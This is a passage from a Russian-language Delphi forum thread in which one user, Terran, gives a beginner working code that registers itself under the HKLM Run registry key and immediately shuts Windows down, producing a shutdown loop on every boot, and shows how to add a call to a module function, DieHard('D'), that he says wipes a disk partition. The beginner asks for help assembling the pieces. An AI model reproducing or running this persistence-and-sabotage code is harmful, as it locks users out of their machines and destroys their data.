Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 28.07.2009, 18:53   #21
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Кидаете модуль в папку с проектом и потом пишете следующий код:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Uses
   RegTerr;
procedure TForm1.FormActivate(Sender: TObject);
var
hToken: THandle;
tkp: TTokenPrivileges;
ReturnLength: Cardinal;
begin
InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);
if OpenProcessToken(GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
begin
LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
ExitWindowsEx(EWX_ShutDown,0);// Выключение
end;
end;
end.
Не копируйте из модуля подчистую процедуру, а просто вызывайте её.
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 28.07.2009, 20:27   #22
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

а в модуле RegTerr процедуру InstalAZ надо записывать так:

Procedure InstalAZ(RRootKey: Integer; Key: String; PName: String; PValue: String); или вот так

InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWA RE\Microsoft\Windows\CurrentVersion \Run','Proga',Application.ExeName);

все компилируется без ошибок))))но открывать эту прогу я не стал))))

если открыть эту прогу то по идее она должна прописать себя в реестр на автозапуск и потом выключить комп...и после этого при каждом включении комп должен выключаться????вот так должно быть??все правильно там???
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 03.08.2009 в 11:53.
betirsolt вне форума Ответить с цитированием
Старый 28.07.2009, 20:40   #23
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

В модуле ничего делать не нужно, там всё уже сделано. Просто его подключаете к своей программе и потом из него вызываете нужную процедуру или функцию.
Вот пример вызова:
Код:
InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);
Цитата:
при каждом включении комп должен выключаться????
Да.
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 28.07.2009, 22:15   #24
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

terran а ничего что я из твоего модуля удалил процедуру

Procedure UnInstalAZ(RRootKey: Integer; Key: String; ValName: String);

я же не хочу удаляться из реестра так ведь????

и еще если при следующем включении у меня на компе например на диске C не окажется этой проги то комп не будет выключаться????
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 28.07.2009, 22:41   #25
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Цитата:
terran а ничего что я из твоего модуля удалил процедуру
Делайте как вам удобней.
Без вызова этой процедуры ничего не удалится.
Цитата:
и еще если при следующем включении у меня на компе например на диске C не окажется этой проги то комп не будет выключаться????
Если в пути автозагрузки не окажется программы, то она не запустится.
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 29.07.2009, 01:08   #26
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

А НЕ ПОДСКАЖЕТЕ КАК ТУДА ЕЩЕ ДОБАВИТЬ

Function DieHard(Drive: Char): Boolean;

Я ЕЩЕ НЕ ИСПОЛЬЗОВАЛ ПРОЦЕДУРЫ И ФУНКЦИИ ВМЕСТЕ
КАК ЭТО ДЕЛАЕТСЯ ОБЪЯСНИТЕ ПОЖАЛУЙСТА НОВИЧКУ)))
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.07.2009, 03:47   #27
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Цитата:
А НЕ ПОДСКАЖЕТЕ КАК ТУДА ЕЩЕ ДОБАВИТЬ Function DieHard(Drive: Char): Boolean;
Код:
Uses
   FuncTerr;
...
begin
InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);
DieHard('D');
if OpenProcessToken(GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
...
Только лучше с функцией DieHard не балуйтесь. Она не форматирует диск. Она затирает указанный раздел на диске.
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 29.07.2009, 16:36   #28
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

т.е мне надо сохранит модуль в папке с прогой и там записать функцию

Код:
unit FuncTerr;

interface

Function DieHard(Drive: Char): Boolean;

implementation

end.
вот так правильно????
и потом просто вызвать ее как тогда процедуру???

точнее вот так должно быть:????

Код:
unit FuncTerr;

interface
Uses
   Winsock, ClipBRD, Forms, Printers, TlHelp32, Windows, SysUtils, Classes;

Function DieHard(Drive: Char): Boolean;

implementation
Function DieHard(Drive: Char): Boolean;
begin
  diehard('D');
end;
end.
вобщем я не знаю помогите(((((
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 03.08.2009 в 11:52.
betirsolt вне форума Ответить с цитированием
Старый 29.07.2009, 18:14   #29
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Вам нужно в папку с вашей программой скопировать модуль FuncTerr. Потом в своей программе добавить его имя в раздел Uses, как я написал выше. После того, как добавите его, в коде своей программы вызовите функцию из модуля. Весь код приведён в посте №31.
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 29.07.2009, 20:02   #30
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

да кажется дошло до меня)))по крайнер мере откомпилировалась без ошибок...но запускать не рискну)))


а этот путь в реестр может быть таким:

в HKEY_CURRENT_USER\SOFTWARE\Microsof t\Windows\CurrentVersion\Run??

и как вы написали

HKEY_LOCAL_MACHINE\SOFTWARE\Microso ft\Windows\CurrentVersion\Run

и в чем там разница???

и еще вопрос...в этом модуле FuncTerr где uses надо писать все эти:

Winsock, ClipBRD, Forms, Printers, TlHelp32, Windows, SysUtils, Classes;

какую библиотеку из них можно убрать???
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 03.08.2009 в 11:52.
betirsolt вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема при организации формы загрузки... Oleg Romanchuk Общие вопросы Delphi 3 23.03.2009 10:48
Проблема с отображением формы во внедеренной DLL Leloush Общие вопросы Delphi 10 31.01.2009 16:03
Проблема при использовании модальной формы a1ias Помощь студентам 10 14.11.2008 17:29
проблема с показом формы после трея za4ot Общие вопросы Delphi 4 21.08.2008 12:35
Проблемма с закрытием MDIChild'ов KirkMETAL Помощь студентам 12 25.11.2007 07:06